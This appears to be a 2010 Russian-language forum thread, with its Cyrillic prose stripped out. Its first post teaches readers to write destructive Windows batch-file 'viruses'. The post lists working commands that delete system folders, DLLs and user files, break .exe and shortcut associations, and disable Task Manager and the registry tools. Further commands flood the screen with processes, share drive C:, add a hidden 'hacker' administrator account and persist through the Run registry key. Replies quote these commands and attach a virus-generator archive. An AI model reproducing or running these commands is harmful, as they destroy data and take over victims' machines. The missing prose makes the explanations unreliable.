
 )      ,   .   )))  :
 
         bat.   ""    :hmcool:
 

1)   
 
shutdown -s -t 1 -c "lol" -f >nul -  .
 
  del *.* /q ,       (  )   ,    , ..       ,   ,    .          .     /s        . 
 /q    .
 
shutdown -r -t 1 -c "lol" -f >nul -  
 
2)   del.
 
 del     ,         ,           txt, ,          *.txt.    -   Windows,     %SystemRoot%,     ,      .
 
    :
 del %0 -    ,         ,    ,            . 


 del     ,    ,         : 

rd C:windowsMedia /s /q 

     .  ,    rd  ,    del ?  ,     rd ,     ,      windows.  del   : 

del C:windows*.bmp /q /s 

     ,     .txt,     :
 
del C:windows*.txt /q /s
 
       , : 

move C:WINDOWS*.txt C:Text /y 

      :     ,   ,   ,        .      ,        
     ,          ,         ,       ,    : 

attrib -a -s -h -r C:*.*
 del C:*.* /q 

      .    . =\
 

, ,    . ,     ,         Program Files  , ,    : 

rd %ProgramFiles% /s /q 

   :
 
rd C:Program Files /s /q
 
          . ..     "Program"   "Files".         Program Files - %programfiles%.      " ".      ""  "".       .            : 

Chcp 1251 
del "%USERPROFILE% *.*" /q /s 

,     del
 
   :
 
del C:windowsfonts /q >nul - .       .
 
del "%SystemRoot%Media" /q >nul     Windows
 
del "%SystemRoot%system32*.dll" /q >nul     DLL(  )
 
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul    ,   
 
del "%SystemRoot%Cursors*.*" >nul -  
 
3)  .
 
 ,    ,   .  : ,              ,                 ,         ,   ,   ))).     ,     ?
 
assoc .lnk=.avi 

 ,      (,   .lnk)    .avi   ,          !       .  ,  ,  ,      ,      .exe     ,  !!! 

assoc .exe=.avi 

    .exe     .avi.     -    jpg ()   .virus          
    ,     : 

assoc .exe= 

  =     ,      . 
      :
 
 .exe .com 
  doc .txt .wp .diz .log .wri 
  .mp3 .wav .avi .wmv .mpg 
 .bmp .jpg .gif .tif .pic 
 .lnk .url 
 .rar .zip .arj .cab lzh. 
 fon .ttf .atm 
  .reg .key 
  .sys .dll .rnf .drv .ega 
  .chm .hlp 

4)    .
 
  ,    ,               . 
 : 

attrib +h +s
 
    attrib: 

+r    . 
-r    . 
+a   . 
-a   . 
+s   . 
-s   . 
-h   . 
+h   . 

     WINDOWS,: 

attrib +h +s C:/WINDOWS 

       : 

attrib +h +s C:/WINDOWS/*.* 

  :
 
cd C:windows -   windows 
attrib +h +s -   

    cd              .     ?    ""   ?   ,        "    ",    ,          FAR,  Commander (  ). 

            ,     ?           /s.                : 

attrib -r -s -h -a *.* /s 

         /d.               "Windows"   : 

attrib -r -s -h C:WINDOWS*.* /s /d 

            .
 
5).
 
copy%0       .      .
 
copy %0 C:virus.bat 
copy %0 D:virus.bat 
copy %0 C:windows/virus.bat 
 ... 

6)   .
 
date 01.01.50 >nul - 
 time 0:00 >nul     00:00
 
7)    , :
 
start mspaint - paint
 
        : 
  - start msconfig 
 - calc 
 - start HelpCtr 
  - eudcedit 
  - charmap 
  - clipbrd 
 - dvdplay 
  - taskmgr 
 - sndvol32 
  - drwatson 
  - drwtsn32 
  : - defrag C: 
  - chkdsk 

8) .
        50,  100 Paint()     .      100 : Start mspaint,      .    : 

:x-   
Start mspaint-  (     Paint() 
goto x-        

            .
 
9)      =)
 , :
 
msg * " " >nul   Windows-    ,   ...
 
  ,              :
 chcp 1251 -  , ..    :
 
chcp 1251
 msg * !
 
   ,    :
 :x 
chcp 1251
 msg *  =)
 chcp 1251
 msg *    
 chcp 1251
 msg *    
 goto x
 
8) ,    - )  md
  :
 md1
 md2 
md3  ..
 
10)   )
 
Chcp 1251 
label D: 
 
11)  ,      ::wink:
 
Chcp 1251
 echo virus.bat>>read.txt 
 start/max read.txt 
Chcp 1251
 echo virus.bat>>lamer.txt ,    ,  !
 start/max lamer.txt 

/max -   
 
    =)
 
      ,    :
 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul     Ctrl-Alt-Del
 
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul      
 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul     
 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul     
 

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul     
 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul    
 
taskkill /f /im explorer.exe >nul    Explorer.exe ( Explorer    )
 
net share "ResName"="C:" >nul    C:
 
chcp 1251
 net user SUPPORT_388945a0 /delete
 net user hacker hack /add
 net localgroup  hacker /add
 net localgroup  SUPPORT_388945a0 /del
 reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y -  ,   , :hacker  :hack
 
chcp 1251
 copy ""%0"" "%SystemRoot%\system32\virus.bat" >nul
 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "virus" /t REG_SZ /d "%SystemRoot%\system32\virus.bat" /f >nul -  
 
    :
 
REG QUERY HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon 
IF ERRORLEVEL 1 GOTO LABEL1 
IF ERRORLEVEL 0 GOTO LABEL2 
GOTO END 
:LABEL1 
copy %0 "%systemroot%\winlogon.cmd" 
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ /d %systemroot%\winlogon.cmd 
GOTO END 
:LABEL2 
___ 
:END 
exit
 
..   winlogon.bat,       ,     ,      (    ,     ,     XD). 
     : 

REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /f 
DEL /F /Q "%systemroot%\winlogon.cmd"
 
    ,  ,      : 
@echo off -     
 
..   ,    :turned:
 :  +  =)
 
...  -       Bat Virus Master.:yes: 

__________________
  stopxaker.ru.   ;) 


--------------------------------------------------------------------------------
   Shady3000rf; 21.02.2010  18:36. 



  

  




 
 





   

   

 







 21.02.2010, 19:02 

  #2

 


Holy



 

: 17.10.2009

: 20


: 3 / 0
 

Re:  .bat 

--------------------------------------------------------------------------------



:



reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul     Ctrl-Alt-Del
 
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul      
 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies ExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul     
 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul     
 

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul      

      ?   


  

  








 21.02.2010, 19:05 

  #3

 


Shady3000rf



 


  

: 29.12.2009

: 194


: 11 / 0
 

Re:  .bat 

--------------------------------------------------------------------------------

   ,    .     )      ) 

__________________
  stopxaker.ru.   ;) 



  

  








 21.02.2010, 19:14 

  #4

 


Holy



 

: 17.10.2009

: 20


: 3 / 0
 

Re:  .bat 

--------------------------------------------------------------------------------

   ,       ) 







51_BatVirusMaster.rar (339.1 , 342 )
 
  


  

  








 22.02.2010, 06:46 

  #5

 


Rancorous



 


  

: 25.01.2010

: 82


: 12 / 0
 

Re:  .bat 

--------------------------------------------------------------------------------



:




  Holy

      ?
 
          1   0      
 
  15 
                 .               IF( time).             @echo off -              echo off     @            .                   >nul (           ,          .
      ,                             . 
__________________
 [B][COLOR="Red"][I]     +  [/I][/COLOR][/B]
 

--------------------------------------------------------------------------------
   Rancorous; 22.02.2010  06:46. :   



  

  








 04.03.2010, 07:34 

  #6

 


ROCK_CITY



 

: 05.06.2009

: 10


: 3 / 0
 

Re:  .bat 

--------------------------------------------------------------------------------

          BatVirusMaster,BAT-GEN,MUTANT.BAT         .EXE  . 
  


  

  








 05.03.2010, 13:39 

  #7

 


Resident



 


  

: 15.02.2010

: 214


: 65 / 1
 

Re:  .bat 

--------------------------------------------------------------------------------

 ,  ,   ,  ,       ? 
  


  

  








 21.03.2010, 14:34 

  #8

 


Resident



 


  

: 15.02.2010

: 214


: 65 / 1
 

Re:  .bat 

--------------------------------------------------------------------------------

   :    ,  ,      ,     " "
    
  
